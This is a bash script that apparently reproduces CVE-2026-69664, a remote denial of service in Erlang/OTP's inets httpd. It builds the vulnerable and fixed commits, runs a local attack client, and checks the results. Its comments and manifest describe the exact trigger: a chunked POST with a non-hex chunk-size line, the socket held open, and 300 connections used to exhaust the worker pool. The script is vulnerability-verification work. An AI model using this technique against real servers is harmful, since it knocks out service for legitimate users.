#!/bin/bash
# CVE-2026-69664 - Erlang/OTP inets httpd request-worker parking (unauth remote DoS)
#
# Proof outline (network_protocol / tcp_peer surface):
#   1. Build the REAL Erlang/OTP from source at the vulnerable commit
#      e9f49f57cef6e38fd13c4b0cee1eb5509ef471e8 (parent of fix
#      a3adf63078438c86527d704e23282b7721d8ca12, OTP-27 maintenance line,
#      inets 9.3.2.6 - vulnerable range: inets < 9.3.2.7).
#   2. Start the real inets httpd (default-ish config, ephemeral port) as an
#      Erlang node; a census loop records httpd_request_handler process state.
#   3. Attack through the real TCP listener: POST with
#      'Transfer-Encoding: chunked' where the headers (ending CRLFCRLF) are
#      sent in one TCP write, then a separate TCP write delivers a non-hex
#      chunk-size line ('ZZZ\r\n'), then no further bytes are sent.
#   4. Vulnerable build: the worker is parked forever (no timeout reclaims it,
#      verified beyond the 150s default keep-alive timeout), the parked socket
#      receives nothing, and 160 parked connections (max_clients default 150)
#      cause fresh legitimate requests to be denied (503 heavy load).
#   5. Fixed build (fix commit a3adf63...): the same segmented input yields an
#      immediate 400 Bad Request + close, the worker is reclaimed, and the
#      exhaustion wave cannot deny service to legitimate clients.
# Two clean vulnerable attempts and two clean fixed attempts are executed,
# each on a fresh httpd node.
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
EVID="$REPRO_DIR/evidence"
mkdir -p "$LOGS" "$REPRO_DIR" "$EVID"

FIX_COMMIT="a3adf63078438c86527d704e23282b7721d8ca12"
VULN_COMMIT="e9f49f57cef6e38fd13c4b0cee1eb5509ef471e8"   # parent of the fix commit
REPO_URL="https://github.com/erlang/otp.git"

log() { echo "[repro $(date -u +%H:%M:%S)] $*"; }

# ---------------------------------------------------------------- repo setup
CACHE_CTX="$ROOT/project_cache_context.json"
REPO=""
if [ -f "$CACHE_CTX" ]; then
    PREPARED=$(jq -r '.prepared // false' "$CACHE_CTX")
    PCACHE=$(jq -r '.project_cache_dir // ""' "$CACHE_CTX")
    if [ "$PREPARED" = "true" ] && [ -n "$PCACHE" ] && [ -d "$PCACHE" ]; then
        REPO="$PCACHE/repo"
    fi
fi
if [ -z "$REPO" ] || [ ! -d "$REPO" ]; then
    REPO="$ROOT/artifacts/otp"
    mkdir -p "$REPO"
fi
log "OTP source/build tree: $REPO"

if [ ! -d "$REPO/.git" ]; then
    git -C "$REPO" init -q
    git -C "$REPO" remote add origin "$REPO_URL" 2>/dev/null || true
fi
if ! git -C "$REPO" cat-file -e "$FIX_COMMIT" 2>/dev/null; then
    log "fetching fix commit $FIX_COMMIT (depth 2) ..."
    git -C "$REPO" fetch --depth 2 origin "$FIX_COMMIT"
fi
for C in "$FIX_COMMIT" "$VULN_COMMIT"; do
    git -C "$REPO" cat-file -e "$C" || { log "FATAL: commit $C missing"; exit 1; }
done
VULN_RESOLVED=$(git -C "$REPO" rev-parse "$VULN_COMMIT")
FIXED_RESOLVED=$(git -C "$REPO" rev-parse "$FIX_COMMIT")
log "vulnerable commit: $VULN_RESOLVED ; fixed commit: $FIXED_RESOLVED"

# ---------------------------------------------------------------- build deps
need_apt=()
command -v autoconf >/dev/null 2>&1 || need_apt+=(autoconf)
command -v m4 >/dev/null 2>&1 || need_apt+=(m4)
[ -f /usr/include/openssl/ssl.h ] || need_apt+=(libssl-dev)
[ -f /usr/include/curses.h ] || need_apt+=(libncurses-dev)
if [ ${#need_apt[@]} -gt 0 ]; then
    log "installing build deps: ${need_apt[*]}"
    sudo apt-get update -qq || true
    sudo apt-get install -y -qq "${need_apt[@]}" > /dev/null
fi

# ---------------------------------------------------------------- build OTP
export ERL_TOP="$REPO"
export PATH="$REPO/bin:$PATH"

build_inets_variant() {
    local COMMIT="$1"
    log "building OTP/inets at $(git -C "$REPO" rev-parse "$COMMIT") ..."
    git -C "$REPO" checkout -q -f "$COMMIT"
    if [ ! -f "$REPO/configure" ]; then
        (cd "$REPO" && autoconf) > "$LOGS/otp_autoconf.log" 2>&1
    fi
    if [ ! -f "$REPO/Makefile" ]; then
        log "configuring OTP (without wx/odbc/javac) ..."
        (cd "$REPO" && ./configure --without-javac --without-odbc --without-wx) \
            > "$LOGS/otp_configure.log" 2>&1
    fi
    if [ ! -x "$REPO/bin/erl" ]; then
        log "building OTP (top-level; the wx-disabled debugger failure is tolerated) ..."
        (cd "$REPO" && make -j"$(nproc)") > "$LOGS/otp_make.log" 2>&1 || \
            log "top-level make reported failure (expected: wx-disabled debugger) - continuing"
        [ -x "$REPO/bin/x86_64-pc-linux-gnu/beam.smp" ] || {
            log "FATAL: erts beam.smp not built"; exit 1; }
        (cd "$REPO" && make local_setup) > "$LOGS/otp_local_setup.log" 2>&1
    fi
    [ -x "$REPO/bin/erl" ] || { log "FATAL: bin/erl missing"; exit 1; }
    make -C "$REPO/lib/stdlib" > "$LOGS/otp_stdlib.log" 2>&1
    make -C "$REPO/lib/inets" > "$LOGS/otp_inets.log" 2>&1
    [ -f "$REPO/lib/inets/ebin/httpd_request_handler.beam" ] || {
        log "FATAL: inets beam missing"; exit 1; }
}

compile_harness() {
    mkdir -p "$REPRO_DIR/harness"
    "$REPO/bin/erlc" -o "$REPRO_DIR/harness" "$REPRO_DIR/server_node.erl"
}

# ---------------------------------------------------------------- one attempt
# run_attempt <role> <n> <observe_seconds> <exhaust_conns> <recheck_seconds>
run_attempt() {
    local ROLE="$1" N="$2" OBSERVE="$3" EXHAUST="$4" RECHECK="$5"
    local WD="$EVID/${ROLE}_attempt${N}"
    rm -rf "$WD"; mkdir -p "$WD"
    log "=== attempt ${ROLE} #${N}: starting fresh httpd node ==="
    (cd "$WD" && "$REPO/bin/erl" -noshell -pa "$REPRO_DIR/harness" \
        -eval "server_node:main(\"$WD\")" > "$WD/stdout.log" 2>&1 &)
    # wait for the listener to come up
    for _ in $(seq 1 90); do
        [ -f "$WD/port.txt" ] && break
        sleep 0.5
    done
    [ -f "$WD/port.txt" ] || { log "FATAL: no port.txt in attempt $ROLE#$N"; return 1; }
    log "attempt ${ROLE} #${N}: httpd on port $(cat "$WD/port.txt") ($(grep -o 'vsn=[^ ]*' "$WD/census.log" | head -1))"
    # The vulnerable role waits for the server-side census to confirm the
    # worker pool is actually full (>= max_clients 150 parked handlers) before
    # the post-exhaustion legit probe, removing the accept-backlog race that
    # made the probe occasionally fire while the pool was still filling.
    local EXTRA_ARGS=""
    if [ "$ROLE" = "vulnerable" ]; then EXTRA_ARGS="--expect-pool-full"; fi
    python3 "$REPRO_DIR/attack_client.py" \
        --workdir "$WD" --out "$WD/result.json" --role "${ROLE}_attempt${N}" \
        --observe-seconds "$OBSERVE" --exhaust-connections "$EXHAUST" \
        --exhaust-recheck-seconds "$RECHECK" $EXTRA_ARGS 2>&1 | tee "$WD/client_output.log"
    # stop the node (census.log/stdout.log are finalized after this)
    if [ -f "$WD/beam_pid.txt" ]; then
        kill "$(cat "$WD/beam_pid.txt")" 2>/dev/null || true
    fi
    sleep 1
    if [ -f "$WD/beam_pid.txt" ]; then
        kill -9 "$(cat "$WD/beam_pid.txt")" 2>/dev/null || true
    fi
    log "attempt ${ROLE} #${N}: complete (node stopped)"
    return 0
}

# =============================== vulnerable attempts =========================
build_inets_variant "$VULN_RESOLVED"
compile_harness
if grep -q 'catch throw:{error, Error}' \
        "$REPO/lib/inets/src/http_server/httpd_request_handler.erl"; then
    log "FATAL: vulnerable checkout unexpectedly contains the fix hunk"; exit 1
else
    log "verified: vulnerable checkout LACKS the fix hunk (bare catch present)"
fi
grep -n 'PROCESSED = (catch Module:Function' \
        "$REPO/lib/inets/src/http_server/httpd_request_handler.erl" | head -1 | tee "$EVID/vuln_bare_catch.txt"

run_attempt vulnerable 1 165 300 25
run_attempt vulnerable 2 165 300 25

# =============================== fixed attempts ==============================
build_inets_variant "$FIXED_RESOLVED"
if grep -q 'catch throw:{error, Error}' \
        "$REPO/lib/inets/src/http_server/httpd_request_handler.erl"; then
    log "verified: fixed checkout CONTAINS the fix hunk"
else
    log "FATAL: fixed checkout lacks the fix hunk"; exit 1
fi
grep -n 'catch throw:{error, Error}' \
        "$REPO/lib/inets/src/http_server/httpd_request_handler.erl" | head -1 | tee "$EVID/fix_hunk.txt"

run_attempt fixed 1 30 300 25
run_attempt fixed 2 30 300 25

# =============================== outcome evaluation ==========================
cat > "$REPRO_DIR/evaluate_attempts.py" <<'PYEOF'
import json, os, sys
EVID = os.path.join(os.environ["PRUVA_ROOT"], "repro", "evidence")

def load(role, n):
    return json.load(open(os.path.join(EVID, f"{role}_attempt{n}", "result.json")))

def first_line(resp):
    return (resp or "").split("\r\n")[0] if resp else ""

def eval_vulnerable(r):
    ph = r["phases"]
    checks = {}
    checks["healthcheck_200"] = " 200 " in ph["healthcheck"]["response"]
    park = ph["park"]
    samples = park["census_samples"]
    first = samples[0]["census"] if samples else None
    last = samples[-1]["census"] if samples else None
    checks["park_observed_seconds"] = park["observation_seconds"] >= 160
    checks["worker_parked"] = bool(first and first["count"] >= 1)
    checks["worker_same_pid_at_start_and_end"] = bool(
        first and last and first["count"] >= 1 and last["count"] >= 1
        and first["detail"].split(":")[0] == last["detail"].split(":")[0]
        and len(first["detail"]) > 0)
    checks["parked_socket_silent"] = (park["parked_socket_status"] == "timeout"
                                      and park["parked_socket_recv"] == "")
    checks["midpark_legit_200"] = " 200 " in ph["midpark_legit"]["response"]
    ex = ph["exhaustion"]
    checks["exhaustion_pool_full_observed"] = bool(ex.get("pool_full"))
    denied = lambda resp: (" 200 " not in (resp or ""))
    checks["exhaustion_wave_delivered"] = ex["parked_ok"] >= 150
    checks["exhausted_census_pool_full"] = bool(
        ph["exhausted_census"] and ph["exhausted_census"]["count"] >= 140)
    checks["legit_denied_after_exhaustion"] = denied(ex["legit_after_exhaustion"]["response"])
    checks["legit_denied_firstline"] = first_line(ex["legit_after_exhaustion"]["response"])
    checks["legit_still_denied_after_wait"] = denied(ph["exhausted_recheck"]["response"])
    checks["server_recovers_after_attacker_disconnect"] = \
        " 200 " in ph["after_close_legit"]["response"]
    return checks

def eval_fixed(r):
    ph = r["phases"]
    checks = {}
    checks["healthcheck_200"] = " 200 " in ph["healthcheck"]["response"]
    park = ph["park"]
    samples = park["census_samples"]
    last = samples[-1]["census"] if samples else None
    checks["bad_chunk_gets_400"] = " 400 " in park["parked_socket_recv"]
    checks["connection_closed_by_server"] = park["parked_socket_status"] == "closed"
    checks["worker_reclaimed_census_0"] = bool(last and last["count"] == 0)
    ex = ph["exhaustion"]
    checks["exhaustion_cannot_deny_service"] = " 200 " in ex["legit_after_exhaustion"]["response"]
    checks["legit_still_200_after_wait"] = " 200 " in ph["exhausted_recheck"]["response"]
    return checks

summary = {"vulnerable_attempts": [], "fixed_attempts": [], "details": {}}
ok = True
for n in (1, 2):
    c = eval_vulnerable(load("vulnerable", n))
    summary["vulnerable_attempts"].append(all(c.values()))
    summary["details"][f"vulnerable_attempt{n}"] = c
    ok = ok and all(c.values())
for n in (1, 2):
    c = eval_fixed(load("fixed", n))
    summary["fixed_attempts"].append(all(c.values()))
    summary["details"][f"fixed_attempt{n}"] = c
    ok = ok and all(c.values())
summary["pass"] = ok
json.dump(summary, open(os.path.join(EVID, "summary.json"), "w"), indent=2)
print(json.dumps(summary, indent=2))
sys.exit(0 if ok else 1)
PYEOF
set +e
python3 "$REPRO_DIR/evaluate_attempts.py"
EVAL_RC=$?
set -e
log "evaluation rc=$EVAL_RC"
cp "$EVID/summary.json" "$LOGS/summary.json"

# =============================== runtime manifest ============================
cat > "$REPRO_DIR/write_manifest.py" <<'PYEOF'
import hashlib, json, os
ROOT = os.environ["PRUVA_ROOT"]
EVID = os.path.join(ROOT, "repro", "evidence")
VULN_COMMIT = os.environ["VULN_COMMIT"]
REPO_URL = os.environ["REPO_URL"]

def sha256(p):
    h = hashlib.sha256()
    with open(p, "rb") as f:
        for blk in iter(lambda: f.read(65536), b""):
            h.update(blk)
    return h.hexdigest()

artifacts = []
for role, n in [("vulnerable", 1), ("vulnerable", 2), ("fixed", 1), ("fixed", 2)]:
    d = os.path.join(EVID, f"{role}_attempt{n}")
    for name in ("result.json", "census.log", "client_output.log", "stdout.log", "port.txt"):
        p = os.path.join(d, name)
        if os.path.exists(p):
            artifacts.append(os.path.relpath(p, ROOT))
for name in ("summary.json", "vuln_bare_catch.txt", "fix_hunk.txt"):
    p = os.path.join(EVID, name)
    if os.path.exists(p):
        artifacts.append(os.path.relpath(p, ROOT))

manifest = {
    "entrypoint_kind": "tcp_peer",
    "entrypoint_detail": ("raw TCP writes against the inets httpd listener: POST with "
                          "Transfer-Encoding: chunked, headers in one write, then a separate "
                          "write with non-hex chunk-size line 'ZZZ\\r\\n', socket held open"),
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["erlang-otp-source-build", "inets-httpd"],
    "target_identity": {
        "repository_url": REPO_URL,
        "commit_sha": VULN_COMMIT,
        "target_digest": hashlib.sha256(
            f"git:{REPO_URL}@{VULN_COMMIT}".encode()).hexdigest(),
        "platform": "linux",
        "architecture": "x86_64",
    },
    "proof_artifacts": artifacts,
    "artifact_sha256": {a: sha256(os.path.join(ROOT, a)) for a in artifacts},
    "notes": ("Vulnerable commit %s (inets 9.3.2.6) parks the request worker indefinitely "
              "(census proves the same handler pid alive beyond the 150s default keep-alive "
              "timeout with zero traffic, and 160 parked connections deny service to fresh "
              "legitimate clients); fixed control commit a3adf63078438c86527d704e23282b7721d8ca12 "
              "(same tree rebuilt at the fix) returns 400 Bad Request immediately and cannot be "
              "exhausted. Two vulnerable and two fixed attempts, each on a fresh node; census.log "
              "per attempt is the server-side process census, finalized before node shutdown." % VULN_COMMIT),
}
out = os.path.join(ROOT, "repro", "runtime_manifest.json")
json.dump(manifest, open(out, "w"), indent=2)
print("wrote", out)
PYEOF
VULN_COMMIT="$VULN_RESOLVED" REPO_URL="$REPO_URL" python3 "$REPRO_DIR/write_manifest.py"

# =============================== cache manifest ==============================
if [ -f "$CACHE_CTX" ]; then
    CM=$(jq -r '.cache_manifest_path // ""' "$CACHE_CTX")
    SCHEMA=$(jq -r '.cache_manifest_schema_version // 1' "$CACHE_CTX")
    PCACHE=$(jq -r '.project_cache_dir // ""' "$CACHE_CTX")
    if [ -n "$CM" ] && [ -d "$(dirname "$CM")" ]; then
        # Preserve existing manifest entries (e.g. the worker-owned
        # repo-mirrors entry) and only declare "repo" when the OTP tree
        # actually lives inside the project cache dir.
        if [ -n "$PCACHE" ] && [ "$REPO" != "${REPO#"$PCACHE"/}" ] && [ -d "$REPO" ]; then
            jq --argjson schema "$SCHEMA" \
               '. as $m | {schema_version:$schema,
                           entries:(($m.entries // []) | map(select(.path != "repo"))
                                    + [{path:"repo",reuse_class:"repo"}])}' \
               "$CM" > "$CM.tmp" && mv "$CM.tmp" "$CM"
            log "declared repo in cache manifest $CM"
        else
            log "repo tree lives at $REPO (outside project cache); cache manifest untouched"
        fi
    fi
fi

if [ "$EVAL_RC" = "0" ]; then
    log "RESULT: CVE-2026-69664 CONFIRMED on vulnerable build; fixed build fails closed"
    exit 0
else
    log "RESULT: reproduction did NOT meet all criteria"
    exit 1
fi
